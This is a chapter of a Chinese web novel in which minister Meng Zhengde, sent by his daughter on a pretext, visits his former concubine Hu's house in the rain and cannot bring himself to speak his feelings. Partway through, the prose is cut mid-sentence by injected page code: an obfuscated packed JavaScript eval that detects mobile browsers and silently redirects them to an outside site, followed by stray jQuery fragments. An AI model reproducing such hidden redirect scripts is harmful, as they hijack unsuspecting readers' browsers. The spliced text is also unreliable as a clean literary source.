第253章 孟正德的矜持

作品:《逆子,开门!你娘回来整顿家风了

    难得见父亲清闲,孟南枝便起了心思。


    拎起茶壶为他身侧玉盏中添了茶水后,孟南枝双手执起,递给他,并试探地问道:“父亲,山城之事已结,您近日是不是不太忙了?”


    接过茶水抿了一口的孟正德轻轻点头,“是,太子回京,工部尚书也已归位,除了日常的公务,倒也清闲了几分。”


    所以他今日才能早早地回了府。


    孟南枝眼睛一亮,本就坐在他身侧的身子忍不住向前倾斜了一些,声音中也带了点撒娇似的软糯。


    “父亲,我突然想起来明日要随修儿一起去拜谢屠戎将军,但因为下雨回来的急,倒是忘了去胡姨娘那里去拿定好的成衣。”


    “我这淋雨回来还未洗漱,不便再跑。趁天色尚早,不若父亲您帮我去拿一下吧。”


    孟正德捏着玉盏的手指微动,抬目看了眼天色,微微颔首,“好。”


    见父亲答应,孟南枝笑眯眯地连忙站起来,示意丫鬟取了件墨色披风过来,给他披上,并系好。


    “爹,我让阿贵带您过去,他对那边比较熟。”


    见女儿这般热切模样,孟正德眸中闪过笑意,在其催促中,由老阿福撑着油伞登上马车。


    倒是谁也没提,取衣左右不过是让下人跑一趟的事。


    ……


    秋雨势小,淅淅沥沥。


    马车碾过水洼,发出轻微的声响,并留下一串串淡白色的印迹。


    路上行人稀少,马儿便如撒了欢儿一样直奔目的地。


    待它停稳,老阿福扶着孟正德下车时,雨水已晕染了那方青砖黛瓦。


    素木门扉躲在檐下,未曾沾上一点潮湿。


    虽有轻风,但那铜铃却始终保持静默,就连垂下的丝线,都未曾动上分毫。


    雨滴透过油伞垂落地面,发出细腻的声响。


    站在檐下的孟正德对着那方门扉踌躇了片刻,方才抬手扣响木门。


    “来了。”


    随着一声脆响,素门微开,露出翠平的脑袋,“谁呀?”


    翠平张口欲问是谁的话,在看清来人后,嘴巴惊成了鹅蛋,又连忙福身行礼。


    “老、老……孟、孟相。”


    结结巴巴的称呼,让翠平恨不得自打嘴巴。


    这才离府多久,竟是忘了老爷已升右相。


    孟正德微微颔首,示意她起身。


    翠平才又慌慌张张地给他让位,并忙迎着他进门,“孟相,里面请,奴婢这就通知……夫人。”


    夫人二字是强撑着才吞出来的,毕竟她之前都是在孟正德面前称姨娘。


    原本她还担心孟正德会生气,哪想孟正德竟然未再上前一步,直接停在檐下,等她去通报。


    翠平当下便松出一口气,顾不得撑伞,提起裙摆就开始小步往屋内急走。


    一边走还一边告诫自己,不能急,不能跑,不能大声叫,不能让孟相小瞧了她们的礼节。


    檐角垂落细碎的雨珠,落在孟正德的脚下,溅起浅淡的湿痕。


    他深邃的目光打量着眼前从未来过的小院,逐渐变得柔和。


    小院不大,却收拾得井井有条。门边的石榴树,叶子已经泛黄,在雨中轻轻摇曳。


    直通正屋的青石板路,被雨水冲刷得干干净净。两旁种着些不知名的花草,虽已入秋,却仍有几分生机。


    直到眼前涌入那抹熟悉到已经不知不觉中刻入到骨子里的身影,孟正德的手指才开始不自觉地轻揉捻捏。


    雨伞下的胡姨娘身着一袭湛蓝色菊纹襦裙,外罩浅白软缎坎甲,裙摆同样绣着细碎的秋菊。


    微染霜色的鬓发梳得整齐妥帖,仅斜插了一根温润玉簪,面容温婉平和,眉眼含柔,看向他的目光中又含着淡淡的笑意。


    “孟相。”


    行至身前的胡姨娘浅浅福了一礼。


    “起来吧,不必多礼。”


    孟正德的声音中带了丝哑意。


    胡姨娘起身,迎着他往屋里请。


    跨过门槛,正入厅堂。


    厅内陈设简雅温馨,正墙悬挂一幅淡墨山水图,中央摆着一张梨木八仙桌,配了四把素面木椅。


    桌案上放着的素瓷花瓶中,插着几枝带雨的秋菊,泛着淡淡的清香。


    旁边立着的木柜角落,还摆放着几盆绿植,更为这别致的厅堂添上几分勃勃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836728|185648||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生机。


    胡姨娘亲自取出瓷盏,为他沏上茶水,“舍内简陋,望孟相莫要嫌弃。”


    “你这里倒是雅致。”孟正德微微颔首,并没有附和她的自谦。


    多年的相处,使得胡姨娘知道他说的是真心话,垂眸但看他靴面的微潮,语气中下意识带了几分叮嘱。


    “孟相若有事,可托下人前来告知一声,不必冒雨前来,万一淋雨伤了寒……”


    说到最后,胡姨娘方才觉得自己说得多了,忙又止住了话头,讪讪一笑。


    倒是忘了自己已经和他没有干系,太过热忱反而遭人嫌弃。


    孟正德眸中闪过笑意,端起茶盏一饮而尽,方才开口道:“疫病之事,还未曾多谢你,若非你贴心照顾,恐怕……”


    胡姨娘急切地打断他,“孟相莫要如此说,您福大命大,即便没我,也能健康痊愈,再说最终不是确诊只是风寒吗?”


    “这种小病,只要按时喝药,好好休养便能好的,也怪我当时太过心急,打乱了太医给您医病的节奏。”


    孟正德放下茶盏,目光落在她身上,带着几分柔和。


    他和女儿都知道那是假的,也就眼前这位满心满眼只有他的妇人,才会如此单纯地始终信着他们。


    孟正德手指揉捏着盏沿,喉间滚了几滚。


    压在心间数日的话,终是因为他多年的矜持,而说不出口。


    厅内一时陷入寂静,胡姨娘打破沉默道:“孟相今日过来是不是有事?”


    孟正德松开茶盏,哑声道:“枝枝说在你这里制了成衣,托我过来拿一下。”


    胡姨娘闻言微怔,却又很快缓过神,唤来翠平让她去拿衣服。


    得了令的翠平走到里间,还没反应过来到底是拿什么成衣。


    因为孟南枝近日并未交代夫人制成衣。


    前一段倒是有,但那成衣都已经被拿走完了啊。


    琢磨了半天,也没想出头绪,翠平便将胡姨娘闲来做的两双靴子装进了锦盒里。


    反正这靴子一看就是照着孟相的尺寸和喜好做的。


    夫人定是不好意思提,所以趁这机会送出去刚好。